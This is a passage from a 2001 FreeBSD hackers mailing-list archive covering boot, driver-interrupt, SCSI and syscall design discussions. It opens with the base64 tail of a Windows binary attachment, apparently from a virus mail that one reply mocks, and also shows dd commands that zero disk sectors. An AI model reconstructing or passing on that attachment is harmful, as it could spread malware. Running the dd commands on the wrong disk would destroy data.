AAAAAAAAAAAAAAAAADhwAAAAAAAAMHAAAAAAAAAAAAAATHAAAABwAAAAAAAAAAAAAAAAAAAAAAAA AAAAADhwAAAAAAAAEQFHZXRNb2R1bGVIYW5kbGVBAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA ----VEKP2JGPAJWDYFGD63K96F81QZGTENG5-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 0:30:15 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 3987537B402; Mon, 29 Jan 2001 00:29:47 -0800 (PST) Received: from sexta.cs.huji.ac.il ([132.65.16.13] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.20 #1) id 14N95Z-0004Zw-00; Mon, 29 Jan 2001 09:51:01 +0200 X-Mailer: exmh version 2.2 06/23/2000 with nmh-0.24 To: John Baldwin Cc: Terry Lambert , paul@mu.org (Paul Saab), freebsd-stable@FreeBSD.org, hackers@FreeBSD.org Subject: Re: Really odd "BTX halted" problem booting - PXE/diskless In-reply-to: Your message of Fri, 27 Oct 2000 19:02:03 -0700 (PDT) . Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 29 Jan 2001 09:51:01 +0200 From: Danny Braniss Message-Id: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG im now being bitten by this one, but with a twist: on a compaq deskpro workstation it's ok on a dell-precision 420, it bombs. both bioses are configured to boot via the network/pxe. im using the same disks for both boxes. i labeled the disks with: dd if=/dev/zero of=/dev/rda0 bs=1k count=1 disklabel -Brw da0 auto i then went ahead an played with vinum, all went fine on the Compaq, i then wanted to do some comparisons, so i hooked up the disks to the Dell and now BTX bombs. is there a way, that when booting from the net, btx ignores the mbr/fdisk info? danny ps: im looking into the btx stuff, but will take me some time to remeber assembler :-) In message you write: } }On 28-Oct-00 Matt Dillon wrote: }>:> # optional dd if you are paranoid }>:> # dd if=/dev/zero of=/dev/da0 bs=32k count=4 }>:> fdisk -I da0 }>:> disklabel -w -r da0s1 auto }>:> }>:> That's much preferable to having to use sysinstall if all you want to }>:> do is initialize a label on a slice. }>: }>:Yes, this is definitely the desired behavior. }>: }>:-- }>: }>:John Baldwin -- http://www.FreeBSD.org/~jhb/ }> }> John, can you explain how the MBR bootstraps a slice? Should I make }> disklabel zero-out the fdisk partition table area in the slice rather }> then installing the dummy fdisk partition table? That is, for the }> case where -B is used on a slice (da0s1) verses on the whole-disk (da0)? } }Just ignore the slice table within a slice. It is only used when boot1 }is splatted over top of the MBR for the dangerously dedicated mode. It is }unused and ignored otherwise. } }> -Matt } }-- } }John Baldwin -- http://www.FreeBSD.org/~jhb/ }PGP Key: http://www.baldwin.cx/~john/pgpkey.asc }"Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 1: 0:27 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mycenae.jantar.org (mycenae.jantar.org [203.35.206.129]) by hub.freebsd.org (Postfix) with ESMTP id 9A45B37B698 for ; Mon, 29 Jan 2001 01:00:05 -0800 (PST) Received: from localhost (patrykz@localhost [127.0.0.1]) by mycenae.jantar.org (8.9.3/8.9.3) with ESMTP id UAA13903 for ; Mon, 29 Jan 2001 20:00:02 +1100 (EST) (envelope-from pat@jantar.org) To: hackers@FreeBSD.ORG Subject: Re: Snowhite and the Seven Dwarfs - The REAL story! In-Reply-To: <0G7X00J6W0NLJN@mta6.snfc21.pbi.net> References: <0G7X00J6W0NLJN@mta6.snfc21.pbi.net> X-Mailer: Mew version 1.94.1 on Emacs 20.6 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010129200002V.pat@jantar.org> Date: Mon, 29 Jan 2001 20:00:02 +1100 From: Patryk Zadarnowski X-Dispatcher: imput version 20000228(IM140) Lines: 22 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 29 Jan 2001 00:23:48 -0800 (PST), Hahaha wrote: > Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and > polite with Snowhite. When they go out work at mornign, they promissed a > *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the > Seven Dwarfs enter... That must be the most amusing Windows virus I've ever seen (it is a virus, isn't it?). Four spelling mistakes and five grammar problems in four lines of text, probably sent to millions of people. A few months ago someone suggested that all binary attachments should be stripped from freebsd-hackers mail. I believe it is still a very good idea, and patches tend to be posted as text anyway. Pat. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Patryk Zadarnowski University of New South Wales School of Computer Science and Engineering -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 1:45:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from memogw1.sbb.ch (memogw1.sbb.ch [147.78.29.212]) by hub.freebsd.org (Postfix) with ESMTP id 2AFA837B6A0 for ; Mon, 29 Jan 2001 01:44:52 -0800 (PST) Received: from aeschbacher.com (I28405.sbb.ch [147.78.31.196]) by memogw1.sbb.ch (2.5 Build 2640 (Berkeley 8.8.6)/8.8.4) with ESMTP id KAA03048 for ; Mon, 29 Jan 2001 10:44:46 +0100 Message-ID: <3A753BC5.4D3A37EF@aeschbacher.com> Date: Mon, 29 Jan 2001 10:45:41 +0100 From: Stefan Aeschbacher X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: hackers@freebsd.org Subject: update jail Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi what is the correct way to update the world in a jail? something like this? D=/path/to/jail cd /usr/src make update make buildworld make installworld make installworld DESTDIR=$D mergemaster mergemaster -D $D (did not find any answers to this question even though it was asked several times in some mailinglists) Stefan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 1:59:56 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from samar.sasi.com (samar.sasken.com [164.164.56.2]) by hub.freebsd.org (Postfix) with ESMTP id 9D35237B6A2 for ; Mon, 29 Jan 2001 01:59:26 -0800 (PST) Received: from samar (samar.sasi.com [164.164.56.2]) by samar.sasi.com (8.9.3/8.9.3) with SMTP id PAA22298; Mon, 29 Jan 2001 15:28:45 +0530 (IST) Received: from suns3.sasi.com ([10.0.36.3]) by samar.sasi.com; Mon, 29 Jan 2001 15:28:43 +0000 (IST) Received: from localhost (sseth@localhost) by suns3.sasi.com (8.9.3/8.9.3) with ESMTP id PAA10850; Mon, 29 Jan 2001 15:28:43 +0530 (IST) Date: Mon, 29 Jan 2001 15:28:43 +0530 (IST) From: Satyajeet Seth To: Cc: Mohana Krishna P , Brahma Naidu Golla , Suma H R , Subject: RE: interrupt handling routine not called!!! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi > Oops. I meant to say: > > mask = inb(ICU1); > mask |= (inb(ICU2) << 8); > > Will give you a mask of the current interrupt lines set. We checked for the mask in the functions isa_irq_pending() and update_intr_masks() in intr_machdep.c. intrmask_t isa_irq_pending() { u_char irr1; u_char irr2; irr1 = inb(IO_ICU1); irr2 = inb(IO_ICU2); /* 3 lines added by us*/ printf("In isa_irq_pending inb(IO_ICU1) = %0x\n", inb(IO_ICU1)); printf("In isa_irq_pending inb(IO_ICU2) = %0x\n", inb(IO_ICU2)); printf("In isa_irq_pending mask = %0x\n", inb(IO_ICU1)|inb(IO_ICU2) << 8); return ((irr2 << 8) | irr1); } int update_intr_masks(void) { int intr, n=0;B u_int mask,*maskptr; for (intr=0; intr < ICU_LEN; intr ++) { #if defined(APIC_IO) /* no 8259 SLAVE to ignore */ #else if (intr==ICU_SLAVEID) continue; /* ignore 8259 SLAVE output */ #endif /* APIC_IO */ maskptr = intr_mptr[intr]; if (!maskptr) continue; *maskptr |= SWI_CLOCK_MASK | (1 << intr); mask = *maskptr; if (mask != intr_mask[intr]) { #if 0 printf ("intr_mask[%2d] old=%08x new=%08x ptr=%p.\n", intr, intr_mask[intr], mask, maskptr); #endif intr_mask[intr]=mask; n++; } /* 3 lines added by us*/ printf("In isa_irq_pending inb(IO_ICU1) = %0x\n", inb(IO_ICU1)); printf("In isa_irq_pending inb(IO_ICU2) = %0x\n", inb(IO_ICU2)); printf("In isa_irq_pending mask = %0x\n",inb(IO_ICU1)|inb(IO_ICU2) << 8); } return (n); } The dmesg output is: In update_irq_masks inb(IO_ICU1) = 1 In update_irq_masks inb(IO_ICU2) = 0 In update_irq_masks mask = 1 ... ... In update_irq_masks inb(IO_ICU1) = 41 In update_irq_masks inb(IO_ICU2) = 0 In update_irq_masks mask = 41 ... ... In isa_irq_pending inb(IO_ICU1) = 41 In isa_irq_pending inb(IO_ICU2) = 0 In isa_irq_pending mask = 41 ... ... In update_irq_masks inb(IO_ICU1) = 41 In update_irq_masks inb(IO_ICU2) = 0 In update_irq_masks mask = 41 ... ... In update_irq_masks inb(IO_ICU1) = 0 In update_irq_masks inb(IO_ICU2) = 0 In update_irq_masks mask = 0 ... ... In update_irq_masks inb(IO_ICU1) = 1 In update_irq_masks inb(IO_ICU2) = 0 In update_irq_masks mask = 1 I think: 1. inb(IO_ICU2) represents the interrupts generated by the hardware? 2. inb(IO_ICU2 is always zero. So the hardware is not generating interrupts. Am I right? > > > > If you've got 8259's, master is at 0x20 and slave is at 0xA0. > > > > You'll have to check out intr_machdep.c to see about > > the APIC case. We are using 8259 chip. This is because control reaches inside the function isa_irq_pending() in intr_machdep.c. The comment before the function says: /* * Return a bitmap of the current interrupt requests. This is 8259-specific * and is only suitable for use at probe time. */ Thanks Satya > > > > > -----Original Message----- > > > From: owner-freebsd-hackers@FreeBSD.ORG > > > [mailto:owner-freebsd-hackers@FreeBSD.ORG]On Behalf Of > > Mohana Krishna > > > Penumetcha > > > Sent: Thursday, January 25, 2001 5:16 AM > > > To: freebsd-hackers@FreeBSD.ORG > > > Subject: Re: interrupt handling routine not called!!! > > > > > > > > > > > > > > > we have done some further testing and verified the > > > intr_handler table and > > > corresponding mask values. everything seems to be correct. > > > this leaves us > > > with the hardware. the problem could be either the device is not > > > activating the interrupt line(i.e. not conssitent with > > status register > > > values) or the interrupt is getting lost while being > > propogated to the > > > interrupt controller. in our setup, device is connected to > > > pci bus, which > > > is connected to host-pci bridge, but is it possible for the > > > interrupts to > > > get lost? > > > > > > if i want to check the interrupt register of the controller, > > > to see what > > > interrupts are active, which part of the o.s. code i needs > > to modify. > > > considering this is very critical code, i would like to go > > > through some > > > documentation, is there any thing available? > > > > > > > > > thanks, > > > mohan > > > > > > On Wed, 24 Jan 2001, Mohana Krishna Penumetcha wrote: > > > > > > > hi, > > > > > > > > we are writing a driver(FreeBSD 4.0) for a switch connected > > > to a PCI port. > > > > the interrupt handling routine is not getting called. we > > checked the > > > > switch IRQ status register and find some interrupts to be > > > pending. we > > > > have no clue about what is happening, can someone give a > > > few ideas about > > > > what could be wrong? > > > > > > > > some info you may ask for: > > > > > > > > vmstat -i doesn't show any thing about the device > > > > > > > > there doen't seem to be any conflicts while assigning the > > > IRQ numbers. and > > > > the IRQ info in dmesg matches with the interrupt line > > configuration > > > > register of the device. > > > > > > > > code to register to interrupt routine: > > > > > > > > rid = 0; > > > > sc->edge_irq = bus_alloc_resource(dev,SYS_RES_IRQ, > > > > &rid, 0, > > > > ~0, 1, > > > > RF_SHAREABLE|RF_ACTIVE); > > > > if(!sc->edge_irq){ > > > > /*release all resources*/ > > > > return -1; > > > > } > > > > error = bus_setup_intr(dev, sc->edge_irq, > > > > INTR_TYPE_NET, > > > > edge_intr, /*interrupt handler*/ > > > > sc, > > > > &sc->edge_intrhand); > > > > if(error){ > > > > /*release all resources*/ > > > > return -1; > > > > } > > > > > > > > > > > > thanks, > > > > mohan > > > > > > > > > > > -------------------------------------------------------------- > > > ------------- > > > > Creativity is allowing yourself to make mistakes and Art is > > > > knowing which ones to keep. > > > > -Dilbert > > > > > > > > Mohana Krishna P. > > > > ph:- 527 6100/6108 x6352 > > > > Telecom ODC, Sasken Communication Technologies, INDIA. > > > > http://www.sasken.com > > > > > > > -------------------------------------------------------------- > > > ------------- > > > > > > > > > > > > > > > > > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-hackers" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 2:22:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from probity.mcc.ac.uk (probity.mcc.ac.uk [130.88.200.94]) by hub.freebsd.org (Postfix) with ESMTP id 4A0C437B6A2 for ; Mon, 29 Jan 2001 02:22:08 -0800 (PST) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97] ident=root) by probity.mcc.ac.uk with esmtp (Exim 2.05 #4) id 14NBRn-00020N-00 for hackers@freebsd.org; Mon, 29 Jan 2001 10:22:07 +0000 Received: (from rasputin@localhost) by dogma.freebsd-uk.eu.org (8.11.1/8.11.1) id f0TAM7U37480 for hackers@freebsd.org; Mon, 29 Jan 2001 10:22:07 GMT (envelope-from rasputin) Date: Mon, 29 Jan 2001 10:22:06 +0000 From: Rasputin To: hackers@freebsd.org Subject: Re: driver for Matrox Meteor II frame grabber Message-ID: <20010129102206.A37408@dogma.freebsd-uk.eu.org> References: <032a01c087e0$d8bd90e0$930aa8c0@mobydark.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <032a01c087e0$d8bd90e0$930aa8c0@mobydark.com>; from jeff@mobydark.com on Fri, Jan 26, 2001 at 04:42:14PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Jeff Brooke [010126 21:37]: > My questions are: (i) where, if at all, can I find info/tutorials/examples on driver-writing with this method? (ii) what are the benefits of the newbus method? (iii) is it still at all acceptable to write drivers using the old style/method? (i) - http://www.daemonnews.org/200007/newbus-intro.html (ii) - No idea, I'm a total padowan. (iii) - See (ii) -- Rasputin Jack of All Trades :: Master of Nuns To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 4:57:57 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from cs.huji.ac.il (cs.huji.ac.il [132.65.16.10]) by hub.freebsd.org (Postfix) with ESMTP id 28F0C37B404; Mon, 29 Jan 2001 04:57:38 -0800 (PST) Received: from sexta.cs.huji.ac.il ([132.65.16.13] ident=danny) by cs.huji.ac.il with esmtp (Exim 3.20 #1) id 14NDsB-0003lx-00; Mon, 29 Jan 2001 14:57:31 +0200 X-Mailer: exmh version 2.2 06/23/2000 with nmh-0.24 To: gibbs@FreeBSD.org Cc: stablefreebsd.org@cs.huji.ac.il, hackers@freebsd.org Subject: disk problem Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 29 Jan 2001 14:57:31 +0200 From: Danny Braniss Message-Id: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi, Not sure were this belongs, so if im wrong please let me know, so I won't do it again :-). i have a box with several scsi disks - left over from a netapp, so i connected it to a AHA-2940U@, and started experimenting with vinum. after some trial an errors, got a stripe volume (4 x 8GB disks) working. i did some make buildworld, and seems ok - it took about 1 hour. i then took the box and connected it to another host, this one with an AIC-7899, got into trouble with BTX, but solved by adding a fdisk-label. i did the vinum stuff again, but now im getting all kind of errors. btw, the kernel is of this morning (4.2 cvsuped this morning - local time), i noticed some fixes to the aic7xxx. sample errors: Jan 29 13:58:08 klots /kernel: (da1:ahc1:0:2:0): SCB 0x2 - timed out in Data-in phase, SEQADDR == 0xa3 Jan 29 13:58:08 klots /kernel: STACK == 0x88, 0x61, 0x163, 0x0 Jan 29 13:58:08 klots /kernel: SXFRCTL0 == 0x88 Jan 29 13:58:08 klots /kernel: ahc1: Dumping Card State at SEQADDR 0xa3 Jan 29 13:58:08 klots /kernel: SCB count = 170 Jan 29 13:58:08 klots /kernel: Kernel NEXTQSCB = 106 Jan 29 13:58:08 klots /kernel: Card NEXTQSCB = 118 Jan 29 13:58:08 klots /kernel: QINFIFO entries: 118 39 102 45 35 34 57 117 61 77 153 69 132 145 14 129 22 87 55 116 151 155 1 52 152 49 30 65 154 110 141 73 121 168 107 156 46 51 56 127 27 16 17 88 58 33 150 66 11 143 115 50 99 78 144 7 92 90 98 133 60 148 122 79 12 9 91 41 101 147 29 103 64 8 146 142 80 169 31 137 126 84 94 123 109 68 159 59 24 42 72 96 6 Jan 29 13:58:08 klots /kernel: Waiting Queue entries: Jan 29 13:58:08 klots /kernel: Disconnected Queue entries: Jan 29 13:58:08 klots /kernel: QOUTFIFO entries: Jan 29 13:58:08 klots /kernel: Sequencer Free SCB List: 5 22 12 25 26 31 16 13 14 9 21 29 27 23 3 10 20 4 1 28 2 7 11 6 19 8 30 15 0 18 17 Jan 29 13:58:08 klots /kernel: Pending list: 6 96 72 42 24 59 159 68 109 123 94 84 126 137 31 169 80 142 146 8 64 103 29 147 101 41 91 9 12 79 122 148 60 133 98 90 92 7 144 78 99 50 115 143 11 66 150 33 58 88 17 16 27 127 56 51 46 156 107 168 121 73 141 110 154 65 30 49 152 52 1 155 151 116 55 87 22 129 14 145 132 69 153 77 61 117 57 34 35 45 102 39 118 2 Jan 29 13:58:08 klots /kernel: Kernel Free SCB list: 104 18 119 48 139 97 82 10 67 95 76 93 71 157 114 113 130 158 13 5 25 32 36 0 70 111 54 81 100 83 3 86 4 85 167 40 124 108 44 120 128 47 20 62 136 105 21 125 23 38 89 131 75 15 138 135 112 37 134 43 74 63 26 28 140 53 149 19 166 165 164 163 162 161 160 Jan 29 13:58:08 klots /kernel: sg[0] - Addr 0x138c000 : Length 4096 Jan 29 13:58:08 klots /kernel: sg[1] - Addr 0x1a2d000 : Length 2048 Jan 29 13:58:08 klots /kernel: (da1:ahc1:0:2:0): BDR message in message buffer Jan 29 13:58:38 klots /kernel: (da1:ahc1:0:2:0): SCB 0x2 - timed out in Data-in phase, SEQADDR == 0xa3 Jan 29 13:58:38 klots /kernel: STACK == 0x88, 0x61, 0x163, 0x0 Jan 29 13:58:38 klots /kernel: SXFRCTL0 == 0x88 Jan 29 13:58:38 klots /kernel: ahc1: Dumping Card State at SEQADDR 0xa3 Jan 29 13:58:38 klots /kernel: SCB count = 170 Jan 29 13:58:38 klots /kernel: Kernel NEXTQSCB = 106 Jan 29 13:58:38 klots /kernel: Card NEXTQSCB = 118 Jan 29 13:58:38 klots /kernel: QINFIFO entries: 118 39 102 45 35 34 57 117 61 77 153 69 132 145 14 129 22 87 55 116 151 155 1 52 152 49 30 65 154 110 141 73 121 168 107 156 46 51 56 127 27 16 17 88 58 33 150 66 11 143 115 50 99 78 144 7 92 90 98 133 60 148 122 79 12 9 91 41 101 147 29 103 64 8 146 142 80 169 31 137 126 84 94 123 109 68 159 59 24 42 72 96 6 ... Jan 29 14:29:08 klots /kernel: (da3:ahc1:0:5:0): parity error detected in Data-in phase. SEQADDR(0x88) SCSIRATE(0x95) Jan 29 14:38:38 klots /kernel: (da3:ahc1:0:5:0): parity error detected in Data-in phase. SEQADDR(0x89) SCSIRATE(0x95) Jan 29 14:38:38 klots /kernel: (da3:ahc1:0:5:0): parity error detected in Data-in phase. SEQADDR(0x8a) SCSIRATE(0x95) Jan 29 14:38:38 klots /kernel: (da3:ahc1:0:5:0): parity error detected in Data-in phase. SEQADDR(0x88) SCSIRATE(0x95) Jan 29 14:38:38 klots /kernel: (da3:ahc1:0:5:0): parity error detected in Data-in phase. SEQADDR(0x89) SCSIRATE(0x95) Jan 29 14:38:38 klots /kernel: (da3:ahc1:0:5:0): parity error detected in Data-in phase. SEQADDR(0x4f) SCSIRATE(0x95) Jan 29 14:38:38 klots /kernel: (da3:ahc1:0:5:0): parity error detected in Data-in phase. SEQADDR(0x8a) SCSIRATE(0x95) Jan 29 14:38:38 klots /kernel: (da3:ahc1:0:5:0): parity error detected in Data-in phase. SEQADDR(0x4d) SCSIRATE(0x95) Jan 29 14:38:38 klots /kernel: (da3:ahc1:0:5:0): READ(06). CDB: 8 1c c6 8 4 0 Jan 29 14:38:38 klots /kernel: (da3:ahc1:0:5:0): ABORTED COMMAND asc:48,0 Jan 29 14:38:38 klots /kernel: (da3:ahc1:0:5:0): Initiator detected error message received field replaceable unit: 2 Jan 29 14:38:38 klots /kernel: vinum0.p0.s2: fatal read I/O error Jan 29 14:38:38 klots /kernel: vinum: vinum0.p0.s2 is crashed by force Jan 29 14:38:38 klots /kernel: vinum: vinum0.p0 is corrupt Jan 29 14:39:09 klots /kernel: (da4:ahc1:0:6:0): parity error detected in Data-in phase. SEQADDR(0x1a6) SCSIRATE(0x95) Jan 29 14:39:09 klots /kernel: (da4:ahc1:0:6:0): parity error detected in Data-in phase. SEQADDR(0x4e) SCSIRATE(0x95) Jan 29 14:39:09 klots /kernel: (da4:ahc1:0:6:0): parity error detected in Data-in phase. SEQADDR(0x88) SCSIRATE(0x95) Jan 29 14:39:09 klots /kernel: (da4:ahc1:0:6:0): parity error detected in Data-in phase. SEQADDR(0x89) SCSIRATE(0x95) Jan 29 14:40:09 klots /kernel: vinum: vinum0.p0.s2 is stale by force . To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 5:46:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from aslan.scsiguy.com (aslan.scsiguy.com [63.229.232.106]) by hub.freebsd.org (Postfix) with ESMTP id 13ABE37B400 for ; Mon, 29 Jan 2001 05:46:07 -0800 (PST) Received: from scsiguy.com (localhost [127.0.0.1]) by aslan.scsiguy.com (8.11.0/8.9.3) with ESMTP id f0TDjrO51982; Mon, 29 Jan 2001 06:45:58 -0700 (MST) (envelope-from gibbs@scsiguy.com) Message-Id: <200101291345.f0TDjrO51982@aslan.scsiguy.com> To: Danny Braniss Cc: stablefreebsd.org@cs.huji.ac.il, hackers@FreeBSD.org Subject: Re: disk problem In-Reply-To: Your message of "Mon, 29 Jan 2001 14:57:31 +0200." Date: Mon, 29 Jan 2001 06:45:53 -0700 From: "Justin T. Gibbs" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >i did the vinum stuff again, but now im getting all kind of errors. >btw, the kernel is of this morning (4.2 cvsuped this morning - local time), i >noticed some fixes to the aic7xxx. You have a bad cable or terminator. The 7899 runs quite a bit faster than the 2940U, so the problem may not have shown itself with your previous configuration. -- Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 6: 4:12 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.nettoll.com (matrix.nettoll.net [212.155.143.61]) by hub.freebsd.org (Postfix) with ESMTP id 87E6A37B402 for ; Mon, 29 Jan 2001 06:03:54 -0800 (PST) Received: by smtp.nettoll.com; Mon, 29 Jan 2001 14:59:09 +0100 (MET) Message-Id: <4.3.0.20010129145823.023dfeb0@pop.free.fr> X-Sender: usebsd@pop.free.fr X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Mon, 29 Jan 2001 15:13:05 +0100 To: Garance A Drosihn , Matt Dillon , Luigi Rizzo From: mouss Subject: Re: [kernel patch] fcntl(...) to close many descriptors Cc: hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu In-Reply-To: References: <200101290303.f0T33qg60603@earth.backplane.com> <200101281837.f0SIbGI24332@iguana.aciri.org> <200101290303.f0T33qg60603@earth.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 02:01 29/01/01 -0500, Garance A Drosihn wrote: >Mouss mentioned that NetBSD has a closeall >function in it's libc, and it sounded like he was going to >mimic that instead of the fcntl change. If I were going to >mimic something, I'd rather mimic netbsd than some feature >which exists only in AIX. And as I mentioned in my previous >message, I think the AIX strategy warps the definition of >the fcntl routine, so I was not too fond of it even if there >hadn't been any BSD-based alternative to follow. >-- I fully agree that we'd better mimic netbsd than aix... but the netbsd closeall() is just a libc function that calls close() for all descriptors. so we can still mimic it with: #define closeall(start) fcntl(start, F_CLOSEM, 0) and with this, we have both netbsd and aix compat. note that if I do it for freebsd, I'll do the same for netbsd and openbsd (I'm a fan of *BSD convergence [I don't mean they should be the same, but unjustified diffs should be killed whenever possible]:). As for the "generic" syscall mechanism, I'd love it. I think that there are many places where "names" would be good, instead of hardcoded numbers. The only problem is to find a way to do that without reducing performance. names are good. just try to see what it would be if filenames were replaced by inodes. I think that having a name-based mechanism makes it easier to add new syscalls or reject deprecated ones. Now this is not restricted to syscalls. there are other places. for examaple, we could have device names that are "user" configurable, instead of the ef0, npx0, and the like. for network interfaces, I'd suggest adding a field "title" so that one can do: # ifconfig external instead of something like "ifconfig fxp0". While this is of limited use in ifconfig (the guy who uses ifconfig should know what he is doing), this would be useful when configuring firewalls and the like. Indeed, it means a thing to block some packets received by "external" interface than by "ef0". While the guy might change the interface and replace an ef0 with a xl1, the "external" concept is still the same. back to the closeall, here is what I suggest: - add the fcntl option. the coherence arg is certainly reasonable, but fcntl is not a "cohrent" function (thanks to svr4 lobbying into posix:). - add a closeall macro to call it. this gives both aix and netbsd compat (and if the fcntl thing goes into netbsd, the compat would be full). cheers, mouss To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 6: 6:56 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.nettoll.com (matrix.nettoll.net [212.155.143.61]) by hub.freebsd.org (Postfix) with ESMTP id 9E7B637B69B for ; Mon, 29 Jan 2001 06:06:39 -0800 (PST) Received: by smtp.nettoll.com; Mon, 29 Jan 2001 15:03:26 +0100 (MET) Message-Id: <4.3.0.20010129151413.023e03a0@pop.free.fr> X-Sender: usebsd@pop.free.fr X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Mon, 29 Jan 2001 15:17:22 +0100 To: Luigi Rizzo From: mouss Subject: Re: [kernel patch] fcntl(...) to close many descriptors Cc: drosih@rpi.edu, hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu In-Reply-To: <200101281837.f0SIbGI24332@iguana.aciri.org> References: <01012820234100.00214@dades.chilali.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10:37 28/01/01 -0800, Luigi Rizzo wrote: > generic_syscall("fdcloseall", ....); > >In this way it would be clear what the non-portable pieces of code >are, and the mechanism would be extensible with no changes to >libraries and syscalls. You could even have dynamically-loaded >modules implementing new "syscalls". I see a meachanism like new_syscall(str, args) = syscall(hash(str), args) where hash() is chosen to guarantee unicity (that wouldn't be hard to find). we then have both performance (working with indexes instead of comparing strings) like what is currently available, and the flexibility of strings. Note that this goes in the same dynamic "wind" than loadable modules and the like: static gets old... cheers, mouss To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 6:12:40 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from thelab.hub.org (SHW1-154.accesscable.net [24.71.144.154]) by hub.freebsd.org (Postfix) with ESMTP id 451C637B404 for ; Mon, 29 Jan 2001 06:12:22 -0800 (PST) Received: from localhost (scrappy@localhost) by thelab.hub.org (8.11.2/8.11.1) with ESMTP id f0TEAEm20834; Mon, 29 Jan 2001 10:10:14 -0400 (AST) (envelope-from scrappy@hub.org) 